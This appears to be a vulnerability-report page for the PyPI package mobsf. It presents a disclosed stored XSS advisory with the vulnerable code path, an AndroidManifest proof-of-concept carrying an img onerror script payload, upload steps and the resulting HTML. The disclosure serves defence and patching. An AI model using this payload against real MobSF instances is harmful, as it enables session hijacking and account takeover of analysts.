pypi package report

Is mobsf safe?

20 known vulnerabilities, worst severity HIGH.

// reach

0 direct dependencies

none carry a known advisory

    0 packages depend on it

    an advisory here reaches each of them

      Create a free accountfor every dependency path, dependent and what to upgrade
      // ai model usage

      No published models are known to use this package.


      cvss
      8.1
      high

      CVSS v3.1 base score out of 10

      epss
      0.35%
      low

      chance of exploitation in 30 days, 29th percentile of all CVEs

      xyz score
      3.3
      low

      CyberXYZ composite out of 10

      fig. 01 — GHSA-8hf7-h89p-3pqj, the advisory selected below

      // 20 advisories

      GHSA-8hf7-h89p-3pqj

      HIGHGitHub ratingCVE-2026-24490
      // summary

      A Stored Cross-site Scripting (XSS) vulnerability in MobSF's Android manifest analysis allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session by uploading a malicious APK. The android:host attribute from <data android:scheme="android_secret_code"> elements is rendered in HTML reports without sanitization, enabling session hijacking and account takeover.

      // details

      When MobSF analyzes an Android APK containing a <data> element with android:scheme="android_secret_code", it extracts the android:host attribute and inserts it directly into the analysis report without HTML escaping.

      // vulnerable code path

      1. Data Extraction - mobsf/StaticAnalyzer/views/android/manifest_analysis.py (line 776):

      xmlhost = data.getAttribute(f'{ns}:host')
      ret_list.append(('dialer_code_found', (xmlhost,), ()))

      2. Template String Formatting - mobsf/StaticAnalyzer/views/android/manifest_analysis.py (line 806):

      'title': a_template['title'] % t_name,  # XSS payload inserted here unescaped

      3. Template Definition - mobsf/StaticAnalyzer/views/android/kb/android_manifest_desc.py (line 200):

      'dialer_code_found': {
          'title': 'Dailer Code: %s Found <br>[android:scheme=\"android_secret_code\"]',
          ...
      }

      4. Unsafe Rendering - mobsf/templates/static_analysis/android_binary_analysis.html (line 1143):

      {{item|key:"title" | safe}}

      The |safe Django template filter bypasses auto-escaping, allowing the unescaped android:host value to be rendered as raw HTML.

      // step 1: create malicious apk

      Create an APK with the following AndroidManifest.xml:

      <?xml version="1.0" encoding="utf-8"?>
      <manifest xmlns:android="http://schemas.android.com/apk/res/android"
          package="com.poc.xsstest"
          android:versionCode="1"
          android:versionName="1.0">
      
          <application android:label="XSS PoC Test">
              <receiver android:name=".SecretCodeReceiver" android:exported="true">
                  <intent-filter>
                      <action android:name="android.provider.Telephony.SECRET_CODE"/>
                      <data android:scheme="android_secret_code"
                            android:host="&lt;img src=x onerror=alert(document.domain)&gt;"/>
                  </intent-filter>
              </receiver>
          </application>
      </manifest>
      // step 2: build the apk

      Use apktool or Android build tools to create a valid APK with this manifest.

      // step 3: upload to mobsf

      Upload the malicious APK to MobSF for static analysis.

      // step 4: trigger xss

      View the static analysis report in a browser. The JavaScript payload executes automatically.

      // confirmed html output
      <td>
      Dailer Code: <img src=x onerror=alert(document.domain)> Found <br>[android:scheme="android_secret_code"]
      </td>
      // poc apk details

      | Field | Value | |-------|-------| | Filename | POC_XSS_APK.apk | | MD5 Hash | 647258656ed03a7e6a0f2acce4ec6a5b | | Location | https://github.com/smaranchand/poc/raw/refs/heads/main/POC_XSS_APK.apk |

      // impact

      This is a Stored Cross-site Scripting (XSS) vulnerability affecting all MobSF users who analyze the results of the malicious APK file.

      // attack scenario
      • Attacker crafts a malicious APK with XSS payload in the manifest
      • Attacker submits APK to a shared MobSF instance or private mobsf instance.
      • When any user views the analysis report, the XSS payload executes in their browser

      Tested in MobSF Public Instance as well. https://mobsf.live/static_analyzer/647258656ed03a7e6a0f2acce4ec6a5b/

      // cvss v3.1 vector

      CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N

      Attack vector
      Network
      Attack complexity
      Low
      Privileges required
      High
      User interaction
      Required
      Scope
      Changed
      Confidentiality
      High
      Integrity
      High
      Availability
      None

      Checked 2026-11-07 at 23:53 UTC. The most recent advisory here was published 2026-08-18. Updated continuously from NVD, GHSA, OSV and CNA feeds.

      Think a verdict here is wrong? Tell us — we respond within 2 business days.